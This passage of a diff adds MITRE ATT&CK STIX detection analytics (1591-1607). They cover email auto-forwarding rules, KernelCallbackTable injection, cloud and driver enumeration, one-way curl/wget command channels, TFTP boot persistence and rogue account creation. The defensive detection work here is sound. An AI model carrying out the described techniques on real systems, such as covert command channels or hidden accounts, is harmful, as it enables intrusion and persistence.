"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1591", + "description": "Creation of email forwarding/redirect rules in Exchange Online via New-InboxRule or transport rule cmdlets, including auto-forwarding address field usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "m365:unified", + "channel": "New-InboxRule, Set-InboxRule" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:messagetrace", + "channel": "X-MS-Exchange-Organization-AutoForwarded" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ForwardingSMTPAddress", + "description": "Destination domain may vary; commonly tuned per org policies." + }, + { + "field": "ActorId", + "description": "Differentiate service/admin users vs standard user population." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--22e6f5f4-e4cc-449c-9dba-280788935ce5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1592", + "external_id": "AN1592" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1592", + "description": "Modification of Thunderbird message filters file or execution of CLI tools (e.g., formail/procmail) that alter .forward behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:cli", + "channel": "/home/*/.bash_history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": ".forwardPath", + "description": "User-based home directories; tune for specific user patterns." + }, + { + "field": "ExecContext", + "description": "Expected email client behavior may trigger similar file edits." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da853af7-f2e4-45c2-b78f-3d960fff638e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0577#AN1593", + "external_id": "AN1593" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1593", + "description": "Unexpected modification of the KernelCallbackTable in a process\u2019s PEB followed by invocation of modified callback functions (e.g., fnCOPYDATA) through Windows messages. Defender observes suspicious API call chains such as NtQueryInformationProcess \u2192 WriteProcessMemory \u2192 abnormal GUI callback execution, often correlating to anomalous process behavior such as network activity or code injection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredProcesses", + "description": "GUI applications (e.g., explorer.exe, notepad.exe) where KernelCallbackTable abuse is more likely." + }, + { + "field": "CallbackFunctions", + "description": "Specific callback functions (e.g., fnCOPYDATA, fnDWORD) expected to remain stable." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between WriteProcessMemory calls and execution of modified callback functions." + }, + { + "field": "AccessMaskThresholds", + "description": "Access rights values that should be flagged when targeting GUI processes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--be55aa59-62b5-40cd-bab2-dbc4de80da0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0578#AN1594", + "external_id": "AN1594" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1594", + "description": "Detection of suspicious enumeration of cloud storage objects via API calls such as AWS S3 ListObjectsV2, Azure List Blobs, or GCP ListObjects. Correlate access with account role, user context, and prior authentication activity to identify anomalous usage patterns (e.g., unusual account, unexpected regions, or large-scale enumeration in short time windows).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de", + "name": "AWS:CloudTrail", + "channel": "ListObjectsV2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "GetObject" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., multiple enumeration calls within 5 minutes) may indicate automated discovery versus normal user activity." + }, + { + "field": "UserContext", + "description": "Expected service accounts and IAM roles that regularly enumerate storage; deviations may indicate suspicious activity." + }, + { + "field": "RegionScope", + "description": "Unusual enumeration of buckets across multiple geographic regions in short succession may indicate adversary reconnaissance." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18e81e76-bae3-44c8-b573-dfd3564a00ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0579#AN1595", + "external_id": "AN1595" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1595", + "description": "Monitor for suspicious usage of driver enumeration utilities (driverquery.exe) or API calls such as EnumDeviceDrivers(). Registry queries against HKLM\\SYSTEM\\CurrentControlSet\\Services and HardwareProfiles that are abnormal may also indicate attempts to discover installed drivers and services. Correlate command execution, process creation, and registry access to build a behavioral chain of driver discovery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedUtilities", + "description": "Whitelist expected administrative usage of driverquery.exe or other enumeration utilities." + }, + { + "field": "TimeWindow", + "description": "Correlation window between process creation and registry queries to identify suspicious chaining of events." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b55c3339-2d4c-4392-8d26-c257ea2f1bb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0579#AN1596", + "external_id": "AN1596" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1596", + "description": "Detect attempts to enumerate kernel modules through lsmod, modinfo, or inspection of /proc/modules and /dev entries. Focus on unusual execution contexts such as unprivileged users or processes outside expected administrative workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of lsmod, modinfo, or cat /proc/modules" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:FS", + "channel": "read: File access to /proc/modules or /sys/module/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownAdminUsers", + "description": "Limit detection noise by filtering expected kernel module inspection by root or system maintenance scripts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9ee822c-6a91-4c83-9698-779ca0bf8663", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0579#AN1597", + "external_id": "AN1597" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1597", + "description": "Detect loading or inspection of kernel extensions (kextstat, kextfind) and file access to /System/Library/Extensions/. Monitor unexpected usage of these utilities by non-administrative users or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec: Execution of kextstat, kextfind, or ioreg targeting driver information" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "read: File access to /System/Library/Extensions/ or related kernel extension paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedMaintenanceTasks", + "description": "Tune detection by excluding expected system diagnostic or patch-related invocations of kext utilities." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c94f0795-ef0b-4e22-8395-bbba4f28346f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0580#AN1598", + "external_id": "AN1598" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1598", + "description": "Detects registration of new or modified network provider DLLs via registry changes, anomalous file creation of DLLs in system directories, and suspicious process activity (mpnotify.exe interacting with non-standard DLLs). Multi-event correlation ties registry modification events to subsequent DLL loads during user logon activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredRegistryKeys", + "description": "Specific registry keys to monitor for DLL registration (e.g., NetworkProvider Order)." + }, + { + "field": "SuspiciousDLLPaths", + "description": "Directories or file name patterns outside of normal system DLL locations." + }, + { + "field": "TimeWindow", + "description": "Window correlating registry modification, DLL creation, and subsequent logon activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8626f553-efed-4418-bbc6-b9fa83b0b315", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0581#AN1599", + "external_id": "AN1599" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1599", + "description": "Suspicious process initiating outbound connections to web services without corresponding response or return traffic, indicative of one-way command channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "etw:Microsoft-Windows-WinINet", + "channel": "WinINet API telemetry" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DestinationDomain", + "description": "Can tune for popular web services (e.g., googleapis.com, github.com) based on threat actor tooling" + }, + { + "field": "TimeWindow", + "description": "May adjust temporal window to catch beaconing patterns (e.g., every 10-30 mins)" + }, + { + "field": "ProcessName", + "description": "Environment-specific tuning to exclude expected update or telemetry tools" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e83afa89-0ec1-49e7-b351-eef67b085480", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0581#AN1600", + "external_id": "AN1600" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1600", + "description": "Curl, wget, or custom HTTP clients initiated by uncommon user accounts or cron jobs to popular web services, with no observed response parsing logic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "iptables:LOG", + "channel": "OUTBOUND" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "May tune to detect unknown parents like custom scripts or reverse shells" + }, + { + "field": "CommandLineArgs", + "description": "May adjust based on known curl/wget C2 behaviors" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d49f06ba-7a81-440b-bc16-c583ba918a3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0581#AN1601", + "external_id": "AN1601" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1601", + "description": "Process using URLSession or similar API to fetch from web services without any response handling, indicative of one-way C2 channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "process, network" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "exec events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Flag unexpected outbound activity from non-admin or system users" + }, + { + "field": "EntropyScore", + "description": "Optional if script-based obfuscation is seen in web requests" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ce50294-f89c-4158-b5f2-7ca257a88837", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0581#AN1602", + "external_id": "AN1602" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1602", + "description": "ESXi shell or scheduled tasks initiating outbound HTTPS to known public services without inbound return or loggable response, used to fetch instructions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:hostd", + "channel": "CLI network calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScheduledTaskName", + "description": "Can tune for task names used to execute curl-based outbound requests" + }, + { + "field": "DestinationIP", + "description": "Scoped by environment to exclude known legitimate CDNs" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--92004715-82f0-409d-a520-fc49720e4f3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0582#AN1603", + "external_id": "AN1603" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1603", + "description": "Detection of unauthorized changes to boot configurations pointing to TFTP servers, unusual firmware loads during netbooting, or suspicious TFTP traffic. Correlation of boot config modifications, command history logs, and unexpected system image hashes provides detection coverage for adversaries attempting to persist via malicious TFTP boot images.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:syslog", + "channel": "Boot information log showing image loaded from TFTP server instead of local storage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Unexpected inbound/outbound TFTP traffic for device image files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedTFTPServers", + "description": "Whitelist of TFTP servers authorized for netbooting in the environment" + }, + { + "field": "TimeWindow", + "description": "Detection correlation window between config change, TFTP activity, and system reboot" + }, + { + "field": "BaselineBootImageHash", + "description": "Expected system image hashes to validate integrity of boot images loaded via TFTP" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--33d574c3-8e9b-462d-b3d1-09e64c2fa8c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583#AN1604", + "external_id": "AN1604" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1604", + "description": "Adversary uses built-in OS tools or API calls to create local or domain accounts for persistence or lateral movement. Tools such as 'net user', PowerShell, or MMC snap-ins may be used. Detection focuses on Event ID 4720 paired with process lineage and user context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "WinEventLog:Security", + "channel": "EventCode=4720" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation between Event ID 4720 and creating process may vary by environment and automation delays" + }, + { + "field": "ParentProcessName", + "description": "Tools like net.exe or powershell.exe can be normal or malicious depending on user context" + }, + { + "field": "UserContext", + "description": "System vs. administrator vs. low-privilege user context changes alert criticality" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9d70d90c-f318-4318-a18d-e4775ffa229e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583#AN1605", + "external_id": "AN1605" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1605", + "description": "Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "auditd:SYSCALL", + "channel": "useradd or adduser executed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "chmod/chown to /etc/passwd or /etc/shadow" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryPath", + "description": "Custom scripts or renamed binaries may evade simple path-based detection" + }, + { + "field": "ExecutionTime", + "description": "Account creation outside maintenance windows may indicate compromise" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ddaf8ed8-f6bd-4eac-911c-d9fd243e87e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583#AN1606", + "external_id": "AN1606" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1606", + "description": "Adversary creates new users using 'dscl' commands, GUI tools, or by modifying user plist files. Detection includes monitoring dscl invocation and user-related plist changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "dscl . -create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "modification to /var/db/dslocal/nodes/Default/users/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UsernamePattern", + "description": "Attackers may use service-like names to hide malicious accounts" + }, + { + "field": "ExecutionSource", + "description": "Accounts created via Terminal vs GUI vs remote session can affect confidence" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7947aae5-fd76-403c-8c73-1300dff7d30f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583#AN1607", + "external_id": "AN1607" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1607", + "description": "Adversary creates users via IAM/IdP API or portal (e.g., Azure AD, Okta). Detection involves monitoring API calls, admin action logs, and correlation with role assignments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "azure:audit", + "channel": "Add user" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminThreshold", + "description": "Trigger alert only when account is assigned privileged roles" + }, + { + "field": "AutomationExemptions", + "description": "Exclude accounts from known automation processes or provisioning pipelines" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + 